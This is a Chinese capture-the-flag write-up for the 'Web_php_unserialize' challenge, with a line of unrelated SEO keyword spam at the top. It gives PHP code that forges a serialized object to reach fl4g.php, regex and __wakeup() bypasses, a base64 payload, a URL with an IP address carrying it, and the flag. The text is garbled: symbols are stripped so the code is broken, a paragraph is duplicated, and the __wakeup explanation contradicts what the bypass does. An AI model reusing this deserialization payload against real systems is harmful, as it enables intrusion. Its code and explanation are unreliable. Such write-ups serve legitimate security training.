怎么在网站里添加cnzz统计,广州中企动力网站制作,网站的说服力,英文外链seo兼职1、题目描述 2、 3、分析代码 class Demo { private $file fl4g.php; }#xff1a;定义了一个名为Demo的类#xff0c;该类有一个私有属性$file#xff0c;默认值为fl4g.php。 $a serialize(new Demo);#xff1a;创建了一个Demo类的实例#xff0c;并对其进行序列化 fl4g.php; }定义了一个名为Demo的类该类有一个私有属性$file默认值为fl4g.php。 $a serialize(new Demo);创建了一个Demo类的实例并对其进行序列化然后将序列化后的字符串赋值给变量$a。 $a str_replace(O:4, O:4,$a);这行代码的目的是绕过preg_match(/[oc]:\d:/i, $var)这样的正则表达式检查。原始的序列化字符串中O:4表示的是一个对象后面的数字4表示类名的长度。通过将4替换为4可以使正则表达式无法匹配从而绕过检查。 $a str_replace(:1:, :2:,$a);这行代码的目的是绕过__wakeup()函数的检查。在__wakeup()函数中如果$this-file的值不等于index.php就会被重置为index.php。通过将序列化字符串中的:1:替换为:2:可以使$this-file的值始终等于index.php从而绕过检查。 echo base64_encode($a);最后将修改后的序列化字符串进行Base64编码然后输出。 4、根据代码中的提示我们将fl4g.php进行base64编码后的值传给var试着访问但是页面没有回显 5、根据题目我们需要进行序列化代码引用这篇文章攻防世界之Web_php_unserialize超详细WP_php unserialize-CSDN博客
6、在源代码中我们需要绕过几个函数
?php
class Demo { private $file fl4g.php;
}
$a serialize(new Demo);
$a str_replace(O:4, O:4,$a); //绕过preg_match()函数
$a str_replace(:1:, :2:,$a); //绕过__wakeup()函数
echo ($a);
?
7、运行代码可以看到序列后的结果 O:4:Demo:2:{s:10:Demofile;s:8:fl4g.php;} 将a的值进行编码 TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ 8、 class Demo { private $file fl4g.php; }定义了一个名为Demo的类该类有一个私有属性$file默认值为fl4g.php。 $a serialize(new Demo);创建了一个Demo类的实例并对其进行序列化然后将序列化后的字符串赋值给变量$a。 $a str_replace(O:4, O:4,$a);这行代码的目的是绕过preg_match(/[oc]:\d:/i, $var)这样的正则表达式检查。原始的序列化字符串中O:4表示的是一个对象后面的数字4表示类名的长度。通过将4替换为4可以使正则表达式无法匹配从而绕过检查。 $a str_replace(:1:, :2:,$a);这行代码的目的是绕过__wakeup()函数的检查。在__wakeup()函数中如果$this-file的值不等于index.php就会被重置为index.php。通过将序列化字符串中的:1:替换为:2:可以使$this-file的值始终等于index.php从而绕过检查。 echo base64_encode($a);最后将修改后的序列化字符串进行Base64编码然后输出。 9、访问url:61.147.171.105:65034/?varTzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ 10、 ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}